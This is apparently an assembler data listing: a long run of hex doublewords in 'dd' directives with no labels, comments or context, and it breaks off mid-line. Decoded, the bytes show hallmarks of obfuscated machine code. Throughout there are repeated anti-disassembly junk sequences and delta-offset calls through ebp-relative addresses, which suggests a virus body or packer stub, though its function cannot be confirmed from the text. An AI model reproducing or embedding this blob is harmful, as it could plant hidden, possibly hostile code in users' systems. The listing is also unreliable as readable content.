66600607h, 61101CBFh, 388D858Dh, 0BF0F0607h dd 1ABA66D0h, 66D0FF7Ch, 8589CF8Bh, 6071B01h, 68C0F50h dd 0F000000h, 84h, 85C65F00h, 6071525h, 51006A47h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 1B4D5D51h, 8D3F294Fh, 7DBD290Dh, 0F06070Bh, 0E268F9B7h dd 898A0FB5h, 729718Dh, 39B5FF06h, 0E9060729h, 0Ah, 0FF3E57D5h dd 0CEB1DFEh, 858D4483h, 607388Dh, 0D0FFCF8Bh, 0BE9h, 1571B800h dd 0D48AD1B1h, 8250F936h, 30558589h, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0B44418C3h dd 25FE5795h, 9E94Eh, 0DE160000h, 0D723602Ah, 0C672107Ah dd 7152585h, 81664706h, 68FC7AF2h, 83D0B5F3h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 20C35040h, 1219958Bh dd 0D6B10607h, 2939B5FFh, 8DF80607h, 7388D85h, 6AD0FF06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 8B55C353h, 731E1BDh, 8589F906h, 6071301h dd 0C6CABF0Fh, 7152585h, 89607706h, 70F719Dh, 0D5BD2B06h dd 61060717h, 97A8A368h, 50006AF3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0DA8166D7h, 0B5FF460Ah dd 6073199h, 388D858Dh, 0FFF90607h, 95E5BFD0h, 858959E0h dd 6070F1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0D1C35646h, 0BB3473DEh, 0C6932CF6h, 7152585h, 8D094706h dd 6071895h, 28FAF668h, 2800F87h, 8B000000h, 39B5FFCFh dd 8D060729h, 7388D85h, 798D8B06h, 0FF060714h, 0DE9D0h dd 0BB550000h, 0B933E0F1h, 2CF95A12h, 894EBA9Ch, 7129D85h dd 68C0F06h, 8B000000h, 702D195h, 2585C606h, 43060715h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0B0C35040h dd 0FC68838Eh, 66BC8E6Eh, 0D18BD38Bh, 2939B5FFh, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0DFE28CC3h, 28B4D94Eh, 8B605DF7h, 70EEDB5h, 858D6106h dd 607388Dh, 0F1958960h, 8B06070Ch, 71C2985h, 0D0FF6106h dd 8589C88Ah, 60726F1h, 14399589h, 85C60607h, 6071525h dd 6968F545h, 818E7269h, 8253D5F2h, 39B5FF5Fh, 6A060729h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 258EC355h, 0D781665Eh, 858D2C2Dh, 607388Dh dd 0FFF8BF0Fh, 7E9D0h, 722F0000h, 0E0AB889Bh, 1D85896Dh dd 8A060719h, 2585C6C8h, 44060715h, 34E2BA66h, 0F2EC6468h dd 13E8B8h, 47DC0000h, 102BD665h, 524EF65Dh, 9CD725D1h dd 452C7077h, 0AE850h, 71000000h, 0E8E7074Dh, 5105E75Ah dd 595F5A57h, 2939B5FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 55DCE4C3h, 388D858Dh dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 513C5EC3h, 0FAFE52BDh, 0CF815D50h, 2E9DD6EBh dd 0E0BAD0FFh, 892E2F06h, 72FC985h, 0BD896006h, 6070111h dd 2585C661h, 43060715h, 2CFD8D8Bh, 0A7680607h, 8BC0764Ah dd 721B595h, 39B5FF06h, 66060729h, 0EB09EF81h, 388D858Dh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0A6111EC3h, 0AAD0C869h, 95014491h, 6072655h dd 8166D0FFh, 896C96E7h, 71AF585h, 0DE806h, 165E0000h dd 7FC82EE0h, 0EDCD644Bh, 89660A08h, 7197985h, 9D295A06h dd 6070B2Dh, 0FF81BD80h, 0F000609h, 0EC84h, 49958900h dd 8D060700h, 9FF6385h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 4C1943A7h, 6A50DDF0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8B35C351h, 72F3D8Dh, 6850F06h, 89000000h dd 71D618Dh, 89016A06h, 7139595h, 6A006A06h, 14E900h, 16B40000h dd 0D6FAACEEh, 0B0C84952h, 5F78E59Eh, 7040A76h, 95FFCEB4h dd 6071D21h, 19899589h, 85890607h, 60721A5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D0C35141h, 386C8D6Ch dd 27758D31h, 0B70F0607h dd 8AFF6AD6h, 0A5B5FFF4h, 0E9060721h, 6, 0DDA053B6h, 95FFCE17h dd 607213Dh, 0AE8h, 2FE51F00h, 0AE0F928Fh, 0BF411DECh dd 250CDD05h, 0E9C08B5Fh, 0Ah, 5DA0D377h, 0C17E39C6h, 0BD83C042h dd 6070211h, 83097500h, 70D65BDh, 19740006h, 0C08B5350h dd 7D1B8h, 2D858900h, 8D060730h, 9AAA89Dh, 5BD3FF06h, 65BD8358h dd 6070Dh, 53501774h, 7D1B8h, 2D858900h, 8D060730h, 9A7979Dh dd 5BD3FF06h, 6E86058h, 0A1000000h, 0B8EE6A7Fh, 5F6160F9h dd 5113BA66h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 2A32FDEEh, 895236ACh, 716658Dh, 0C08B5906h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 3C35343h dd 0E9EAF33Eh, 0EEF2CBB6h, 0C6D38A90h, 7152585h, 6A4706h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8B0C61C3h, 70BEDBDh, 0F7C16806h, 0D78B93C8h, 2939B5FFh dd 9E80607h, 0CF000000h, 0DDC06716h, 0C513F8F7h, 858DF55Ah dd 607388Dh, 140DBD33h, 9D090607h, 6072655h, 8501D0FFh dd 6071659h, 57006A50h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 8B2A458Eh, 72E31BDh, 0A4858D06h dd 60060A03h, 1D058D29h, 0BD8B0607h, 6072D41h, 9400C761h dd 8B000000h, 14E958FBh, 7C000000h, 0D906A34Bh, 7ED11D7Ch dd 0FCAC1829h, 0DA7B2FD1h, 8DD37CA7h, 0A03A4B5h, 458D2B06h dd 0E9060726h, 12h, 25CA73D4h, 0C5C26E12h, 285CF358h, 74245C4Fh dd 0E956591Dh, 5, 2571688Dh, 0E9D0FFB7h, 12h, 1E6F7F8Ch dd 22EFAD4h, 58CBA4D0h, 1FA5A7C9h, 858D87A5h, 60A03A4h dd 0BE9h, 0BC82D400h, 6A1A0AC4h, 0F44BEF3Bh, 6047883h dd 33850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0BD0120C3h, 607011Dh, 3885C7FCh dd 1060A04h, 89000000h, 71AE18Dh, 0FDBD8306h, 6070Dh, 43850Fh dd 0FE8B0000h, 438BD83h, 0F00060Ah, 3485h, 0E58D8900h dd 0B2060715h, 0F9BD8306h, 6070Bh, 1F840Fh, 85C70000h dd 6070C49h, 0 dd 0D9816660h, 0FA8B07B6h, 68F0F61h, 8B000000h, 732C995h dd 0DB8C6606h, 0BE957h, 0E4480000h, 0FBC84ADAh, 10180D43h dd 8B665F40h, 4C3F6D7h, 516840Fh, 8B660000h, 0B185C7FBh dd 60732h, 0F000000h, 1180h, 0CE900h, 5EDC0000h, 457ED5C2h dd 6F2C925Ah, 0BD8023C5h, 609FF8Eh, 6850F00h, 89000000h dd 72D399Dh, 2585C606h, 47060715h, 8E956h, 4BE50000h, 5661F1EAh dd 6859B678h, 0E3E45B86h, 7E9h, 0CB45A900h, 93DC7A5Bh dd 2939B5FFh, 0F88B0607h, 388D858Dh, 0B5890607h, 6071C25h dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 9041CFC3h, 81207C2h, 10468E9h, 8E0F0000h dd 0Ch, 68E0Fh, 0BD8B0000h, 6072D6Dh, 1E859D8Dh, 0B9660607h dd 8B538EC9h, 70A2195h, 89D0FF06h, 70465B5h, 85858D06h dd 6606071Eh, 6050D18Bh, 10E8h, 34E56200h, 0FD125AC5h dd 0CC5EFECEh, 0CE3CED79h, 7B4AB8AFh, 0E85B70ECh, 8, 0E0EF302h dd 9A8FA7C3h, 0EE8h, 636A1200h, 3BACB7Eh, 884A9A65h, 59152240h dd 858D615Bh, 609FF40h, 8E850F9h, 0F1000000h, 0D53648C8h dd 0F8BF08Ah, 8D5AF8B7h, 9F61385h, 8D8B5006h, 6070599h dd 0F1D95FFh, 23600607h, 716399Dh, 8B665206h, 83615ADEh dd 0DE90CC4h, 6D000000h, 0C09EA5C4h, 58F021AAh, 1B090E34h dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 609F613h dd 0F195FF50h, 89060726h, 9FF2385h, 2585C606h, 47060715h dd 0B15E8768h, 39B5FFC7h, 8D060729h, 7388D85h, 6AD0FF06h dd 23B5FF00h, 0FF0609FFh, 57006AD0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 572A5FFCh dd 0E9429AEDh, 5, 0F84E3C6Dh, 12E830h, 2E900000h, 0C1FFC738h dd 0BBFC0EF1h, 8BF9D37Eh, 7435AE76h, 0EE9h, 2DD69F00h dd 60158619h, 0FFC98064h, 59E25B53h, 1F91BD8Bh, 0D03D0607h dd 0F000037h, 6683h, 0DF816600h, 0B5FF8739h, 609FF23h dd 18118D89h, 95FF0607h, 6071AF5h, 2DD18589h, 0E9FC0607h dd 10Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0ABC35646h, 0E83E19F5h, 13h, 0B77CEBEDh, 0B8D00638h dd 0AAEC2D7Bh, 0DEF6D95h, 66F29D0Ch, 0ABFDE181h, 98D8B5Ah dd 0FF060724h, 9FF23B5h, 1958906h, 0FF060728h, 71AF595h dd 45958B06h, 6A060710h, 13E86000h, 0B4000000h, 0A5F3CFE7h dd 0E405E013h, 3477C081h, 0F69095AFh, 8D8B54DBh, 60716A5h dd 4985295Fh, 61060712h, 860F006Ah, 0Eh, 0B1858960h, 29060723h dd 70ADDBDh, 6A6106h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0B9C35040h, 0F740744h, 6AF8B7h, 6ACA8Bh dd 13E1958Bh, 6A0607h, 31D7B70Fh, 729498Dh, 27858D06h dd 560609FFh, 3356F781h, 605F02B6h, 325DBD29h, 50610607h dd 1B2D8D29h, 95FF0607h, 60726F1h, 0EE62E181h, 0F883000Ah dd 29850FFFh, 0BF000001h, 534AA3FFh, 0B5C5858Dh, 0EF810609h dd 6F1650C5h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0ABAE94C3h, 6A59175Eh, 0D78B6600h dd 8166006Ah, 6A9D4EC7h, 6AF900h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 98C35141h, 8BB03EEEh, 71C258Dh dd 0E1816006h, 5AD2F54h, 0B0D36DBBh, 6A6162h, 19D98D09h dd 0BA660607h, 6ACECAh, 1A058D8Bh, 858D0607h, 609FF27h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EBC35545h dd 1E12F53Ah, 19A7A81h, 730298Dh, 7F92B906h, 89504737h dd 73221BDh, 0F195FF06h, 0F060726h, 18Ch, 0F883FC00h, 4D850FFFh dd 8B000000h, 2FB58DF9h, 8A0609F9h, 0A6858DD0h, 310609A3h dd 715418Dh, 6AD0FF06h, 8D8B5600h, 60711B5h, 1D95FF5Fh dd 6A060719h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 8C55C350h, 9D89C717h, 6071FA9h dd 0FF238589h, 8D890609h, 60705E5h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 6E52CDC3h dd 89DD9002h, 7270985h, 1B858D06h, 810609FFh, 0EE9DB7E1h dd 46A5069h, 2DBB6050h, 92300A3h, 72F85B5h, 8D5A6106h dd 71B7585h, 91958906h, 5006070Fh, 1C4D958Bh, 6A0607h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 58C35040h dd 0C2D8BF66h, 1F1BD09h, 6A0607h, 799BD8Bh, 16A0607h, 0FF23B5FFh dd 0CE8B0609h, 2FC995FFh, 0E2800607h, 1AE0E9D5h, 0F7810000h dd 511FBA87h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 25AA1CC3h, 0A415E232h, 0F87C867Eh dd 211BD83h, 75000607h, 65BD8309h, 6070Dh, 53501974h, 0D2B8C08Bh dd 89000007h, 7302D85h, 0A89D8D06h, 0FF0609AAh, 83585BD3h dd 70D65BDh, 17740006h, 0D2B85350h, 89000007h, 7302D85h dd 979D8D06h, 0FF0609A7h, 66585BD3h, 0DCE9F781h, 2E79B589h dd 0C08B0607h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0A1C35141h, 0B185C735h, 1060732h, 89000000h, 711C58Dh dd 0E7B86806h, 0B5FFCEE4h, 60730A5h, 388D858Dh, 0D0FF0607h dd 1D018589h, 0D4680607h, 0FFC005DBh, 730A5B5h, 8D858D06h dd 0FF060738h, 0DD8589D0h, 8D060704h, 9F3CC85h, 0B5FF5006h dd 6072939h, 305595FFh, 0C00B0607h, 0D88B0B74h, 37F858Dh dd 0FF50060Ah, 7F858DD3h, 66060A03h, 75093883h, 985C70Ah dd 106070Ah, 0FF000000h, 7129D95h, 0FF2506h, 0F8830000h dd 0C70A7305h, 72FA985h, 106h, 0FD8D8B00h, 0F506071Ah dd 0FF8EBD80h, 0F000609h, 1085h, 0DF816600h, 8BE9F8D3h dd 8B000019h, 71DB9BDh, 9BD8306h, 6070Ah, 77850Fh, 14E80000h dd 0FA000000h, 950D6E77h, 8D0816F6h, 46032DB0h, 0E3D7C2C0h dd 80DCA9CBh, 8D5AA1F5h, 9FF5885h, 0DD8D8B06h, 50060713h dd 16AD48Ah, 0A81DE5BFh, 8B006A34h, 72835BDh, 0F8006A06h dd 1D2195FFh, 8D010607h, 6070549h, 0FF828589h, 31600609h dd 715A99Dh, 119D8B06h, 6106071Ch, 8166FF6Ah, 0FFF74AEAh dd 9FF82B5h, 3D95FF06h, 8B060721h, 713F5BDh, 93858D06h dd 8B0609F3h, 71F9595h, 0D9815006h, 30932CAFh, 23F195FFh dd 0D08A0607h, 0F41D8589h, 81660609h, 8D778DC9h, 9F3A085h dd 0DDF18106h, 50292F59h, 0E303D281h, 0B5FF3B4Bh, 609F41Dh dd 21CD958Bh, 8D8B0607h, 6071D59h, 305595FFh, 6A0607h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 64A6E2C3h, 1AD5467Eh, 0F99D892Bh, 89060700h, 7177D85h dd 54BF6606h, 0E858D98h, 0E80609F4h, 0Dh, 6B4509F0h, 0BEF1D106h dd 0F2494C20h, 8E9D4h, 0C5E00000h, 40045D3Eh, 50596BCEh dd 330DB501h, 0B5FF0607h, 609F41Dh, 1C858D8Bh, 0BD8B0607h dd 6071895h, 305595FFh, 8D890607h, 6071D9Dh, 0F4318589h dd 0B70F0609h, 0ED858DCEh dd 660609F3h, 0D723EA81h, 53006A50h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 522B0814h dd 8D33780Ch, 60702C1h, 0F41DB5FFh, 0EF810609h, 58DE0185h dd 305595FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0EF63D1C3h, 0F4298589h, 0AE80609h dd 1D000000h, 5A6D0E90h, 0C927042Ah, 25B58904h, 59060728h dd 0F3E0858Dh, 8F0F0609h, 6, 12FD8D8Bh, 6A500607h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 2342C350h, 0B545BBF9h, 0FB8B66ABh, 0F41DB5FFh, 958B0609h dd 6071FF1h, 305595FFh, 8B660607h, 2D8589CEh, 530609F4h dd 11FD958Bh, 0F5F0607h, 681h, 0A4D28100h, 8D63FE9Fh, 9F3FB85h dd 0D0B70F06h, 0B5FFF850h, 609F41Dh, 95FFC88Bh, 6073055h dd 8589E8B5h, 6070B79h, 0D348DA81h, 858D5B1Eh, 609F3AFh dd 0C0BF0F60h, 12E85061h, 0E7000000h, 840C5EBEh, 0E1AD2443h dd 77AA8684h, 4EE36C1Eh, 45958915h, 5906071Dh, 0F41DB5FFh dd 11E90609h, 1F000000h, 0F1080A22h, 6F4817B7h, 219241C1h dd 0EC0518C8h, 305595FFh, 0BD310607h, 60712E5h, 0F4218589h dd 858D0609h, 609F3BEh, 20CD62B9h, 0BD89505Eh, 6071221h dd 6820Fh, 85890000h, 6072D45h, 0F41DB5FFh, 890F0609h dd 0 dd 305595FFh, 7E90607h, 0B1000000h, 0DC388D00h, 81669669h dd 8974E4EAh, 9F42585h, 1D958B06h, 68060729h, 104h, 14918531h dd 858D0607h, 609F4B5h, 55006A50h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8BEC8FA9h, 71ABDBDh, 0B9858D06h dd 660609F5h, 506F7FBFh, 3859509h, 95FF0607h, 6071301h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h dd 0D4DA815Eh, 660467BFh, 857677B9h, 11850FC0h, 89000000h dd 7163585h, 0BD896006h, 6071D9Dh, 61F88B66h, 0FF8EBD80h dd 0F000609h, 5285h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0B43B5901h, 0B9108712h dd 0E9804381h, 0FCBF53CFh, 5F1F6CC4h, 15A9E9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8393718Eh, 70A09BDh, 850F0006h, 27h, 12E9h, 0F4230F00h dd 0EECA325Dh, 319D85D8h, 0EA613DF8h, 8336EBAFh, 0A0438BDh dd 840F0006h, 4Fh, 8DCA8B66h, 9F45285h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 70B4A164h, 8B6621C3h, 1528E9FAh, 0EE90000h, 0B7000000h dd 230C8B3Fh, 6EE177E3h, 28F0D157h, 10E983h, 81660000h dd 8D1EF0D9h, 9F43D85h, 0F2816606h, 0F50A1FDh, 682h, 0EDE18100h dd 8D1AD5F3h, 9F4B585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 6A5030h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0F147F8C3h dd 9BD83D4h, 6070Ah, 3E840Fh, 81F80000h, 652EE8F2h, 0DB858D2Eh dd 6A0609F5h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0FC2EC351h, 8B95455Bh, 71BB98Dh dd 11E906h, 8D8B0000h, 6070659h, 0F5C4858Dh, 81660609h dd 5027F4E9h, 0F613858Dh, 85B50609h, 95FFF950h, 6070F1Dh dd 836AE180h, 7E910C4h, 77000000h, 78195D6h, 0C08B532Bh dd 211BD83h, 75000607h, 65BD8309h, 6070Dh, 53501974h, 0D3B8C08Bh dd 89000007h, 7302D85h, 0A89D8D06h, 0FF0609AAh, 83585BD3h dd 70D65BDh, 17740006h, 0D3B85350h, 89000007h, 7302D85h dd 979D8D06h, 0FF0609A7h, 89585BD3h, 7318D9Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0D57F929Fh, 0F81F8289h, 0BD0B59EBh, 6072FE9h, 5ACC8A52h dd 958BC08Bh, 6070AA9h, 0F43DBD81h, 726F0609h, 840F6165h dd 8Eh, 5758D09h, 858D0607h, 609F4B5h, 0F2858D50h, 500609F5h dd 0F613858Dh, 0FF500609h, 70F1D95h, 0CC48306h, 152585C6h dd 68440607h, 96A3184Fh, 2939B5FFh, 858D0607h, 607388Dh dd 0D88BD0FFh, 0F613858Dh, 0FF500609h, 3D858DD3h, 500609F4h dd 0F4B5858Dh, 83500609h, 70A09BDh, 8740006h, 0F5DB858Dh dd 6EB0609h, 0F5C4858Dh, 8D500609h, 9F61385h, 95FF5006h dd 6070F1Dh, 8B10C483h, 72C5D8Dh, 0F88B6606h, 1A31BD8Bh dd 95FF0607h, 607129Dh, 25D3BF0Fh, 0FFh, 59CDB657h, 0F05F883h dd 9D83h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0BD739D3Fh, 1E6F7F8Ch, 12E9h, 1AB00400h dd 0E360EA78h, 0BCB975A2h, 833D92C5h, 0C7E0FB87h, 72FA985h dd 106h, 0B650BF00h, 858D4735h, 609F471h, 1BA1958Bh, 71E90607h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0C5A6C356h, 14E8EEA4h, 0F0000000h dd 0F6398E86h, 7F23C802h, 6A34B7Ch, 0D11D7CD9h, 6018297Eh dd 0C1D38166h, 0DEBF0F21h, 0BD835A61h, 6070A09h, 15840F00h dd 0F8000000h, 0F49C858Dh, 0ED800609h, 12E900h, 0E1810000h dd 3485F803h, 0F47E858Dh, 0BD0B0609h, 6071165h, 0F4B18589h dd 0F7810609h, 23600663h, 0C5BD2350h, 5F060731h, 0A09BD83h dd 0F000607h, 3985h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 4C089F7Bh, 666C9931h dd 6FA7EF81h, 438BD83h, 0F00060Ah, 1084h, 0D7816600h, 0CBE96306h dd 81000011h, 4FE21BCAh, 4AFE94Bh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 925368C3h dd 0D192518Bh, 919D89E5h, 8B060706h, 0D98D89C0h, 8306070Eh dd 70211BDh, 9750006h, 0D65BD83h, 74000607h, 8B535019h dd 7D4B8C0h, 85890000h, 607302Dh, 0AAA89D8Dh, 0D3FF0609h dd 0BD83585Bh, 6070D65h, 50177400h, 7D4B853h, 85890000h dd 607302Dh, 0A7979D8Dh, 0D3FF0609h, 0BEB5585Bh, 0A499D89h dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 378092C3h, 96B6AA8Fh, 6880Fh, 0EA810000h dd 42D29F1Ch, 8166C08Bh, 68181DF2h, 0F003Fh, 5886BA66h dd 958B006Ah, 6071C1Dh, 0BD89006Ah, 6070D6Dh, 177D95FFh dd 95030607h, 6073209h, 850FC085h, 8, 0DDB58951h, 5906071Fh dd 0F4358589h, 6A0609h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0AA971C3h, 0E981924Dh, 34979C54h dd 6AD0B70Fh, 0E8006A00h, 0Dh, 70FCBDA3h, 0CFABA57Bh, 22AD77h dd 399533D4h, 59060718h, 0A0F28166h, 0FC006AD7h, 8166006Ah dd 6A44B9C7h, 0C58D8B00h, 8D060713h, 9F61385h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 214ED707h, 32C4242Ch, 5E9h, 2DD2E400h, 0E95182DDh, 0Ah dd 3FBC8B0Fh, 55E30926h, 505A4DC4h, 16ACB8Bh, 6800Fh, 0BD8B0000h dd 6071B8Dh, 8D8B016Ah, 6071E79h, 0D45BD8Bh, 16A0607h dd 0FF68FDB5h, 6A000F01h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 2C94C355h, 70CF6E29h dd 0A09BD83h, 0F000607h, 4884h, 6E85000h, 9F000000h, 42D3994Eh dd 0F59D09AAh, 5F06072Fh, 92858D59h, 660609F4h, 0E9182BB9h dd 32h, 17800Fh, 12E90000h, 59000000h, 635C1C8Fh, 17CF4B48h dd 0F687D890h, 1D5A7E10h, 958B506Fh, 6072F65h, 68858D5Ah dd 0F90609F4h, 15098D8Bh, 8B500607h, 71AD595h, 9D895006h dd 6071A71h, 0F435B5FFh, 0BD310609h, 6072EE5h, 0F42195FFh dd 6A0609h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0B3BF91C3h, 56EA87BCh, 6820Fh, 958B0000h dd 6070F51h, 0FC08559h, 2C85h, 9E900h, 2DB90000h, 0D807A8B2h dd 60B5F0F4h, 26659D89h, 8D890607h, 6070325h, 60E961h dd 0F600000h, 0F281F6B7h, 2EFC542Ch, 39858961h, 6A0609F4h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0D673C356h, 3810F99h, 0F000000h, 0B5FFD2BFh dd 609F439h, 95FF29B2h, 6070B79h, 1A999D89h, 0C0850607h dd 0C850Fh, 0EF810000h, 0D32E51Fh, 2E7D8529h, 106A0607h dd 3399D01h, 0BD830607h, 6070A09h dd 62840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 5F5FC355h, 0C27EC857h dd 5D7AC2B5h, 858DC88Bh, 609F492h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0B5C35747h, 16458D89h, 0C2810607h dd 45DDCEAEh, 1AE9h, 9D295300h, 6072EFDh, 68858D59h, 8B0609F4h dd 7317995h, 71B50906h, 50060721h, 0FF2EF680h, 9F435B5h dd 61BD8B06h, 0FF06071Ch, 9F42D95h, 658D8B06h, 85060719h dd 6850FC0h, 29000000h, 700B995h, 39858906h, 6A0609F4h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0C8D0C355h, 59070F61h, 0F2B5991h, 0BB60CFBFh dd 0F99D448h, 6A61F8h, 5ED8589h, 6A0607h, 2DE18589h, 0B5FF0607h dd 609F439h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0FC35545h, 2595FFF1h, 290609F4h, 706B9B5h, 0FC08506h dd 685h, 8AF78100h, 0FF65B415h, 9F439B5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0E05416AAh, 47F2DA7Ch, 0FFF8132Bh, 70B7995h, 0C9B70F06h dd 850FC085h, 25h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 4C35747h, 82E4B04Eh, 0E2BA662Ch, 29006A50h dd 723F9B5h, 806806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 6AFC3FC3h, 52006A03h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 6A5EB22Dh, 6AF500h, 1C958D89h, 85890607h, 6072C5Dh dd 68h, 6880FC0h, 2B000000h, 7120595h, 870F06h, 0FF000000h dd 9F4B1B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0F7736F4Ah, 29D59F3Eh, 9589FF25h dd 6070329h, 0FFFEB70Fh, 726F195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD89DDFEh dd 60723DDh, 5299529h, 0F8830607h, 42850FFFh, 0F000005h dd 281h, 609FB600h, 1C059589h, 8D8B0607h, 607126Dh, 1F85FF61h dd 830609FFh, 9FF1FBDh, 840F0206h, 41Ch, 0F59F858Dh, 0B060005Ah dd 19B58900h, 6106071Bh, 9D31D0FFh, 6072195h, 0EFF2858Dh dd 0F38A005Ah, 7FE9C981h, 0D0FF3545h, 0BE8h, 0C3AD1E00h dd 56F7FB0Ch, 0E4C87D46h, 0B9B501h, 515A0607h, 8B616060h dd 72111BDh, 8B596106h, 218D03C0h, 83060732h, 70211BDh dd 9750006h, 0D65BD83h, 74000607h, 8B535019h, 7D8B8C0h dd 85890000h, 607302Dh, 0AAA89D8Dh, 0D3FF0609h, 0BD83585Bh dd 6070D65h, 50177400h, 7D8B853h, 85890000h, 607302Dh dd 0A7979D8Dh, 0D3FF0609h, 0BD31585Bh, 6071C55h, 0FE9h dd 38FFA800h, 0F969A9BEh, 7DDD051h, 0DBB4C2F7h, 8D8BC08Bh dd 6073119h, 0F003F68h, 958B5700h, 6070339h, 8B006A59h dd 719D995h, 89006A06h, 715E58Dh, 7D95FF06h, 1060717h dd 720D595h, 89C08506h, 7314195h, 6800F06h, 89000000h dd 71A91B5h, 35858906h, 680609F4h, 0F01FFh, 831FC280h dd 70A09BDh, 840F0006h, 42h, 8E8h, 0DB4E7100h, 4CEBDD8Ch dd 0A6F2802Ah, 92858D5Fh, 6A0609F4h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B80BC350h dd 895A87ECh, 72655BDh, 0CE906h, 858D0000h, 609F468h, 4518529h dd 89500607h, 72059B5h, 35B5FF06h, 0BA0609F4h, 1667A957h dd 0F42D95FFh, 8B660609h, 14E8D1h, 0A1620000h, 6287048Ah dd 234E89C9h, 175FA65h, 9F403BD5h, 0BD89B0E7h, 607030Dh dd 3985895Ah, 600609F4h, 0BACFBF0Fh, 6047E55Fh, 3585C761h dd 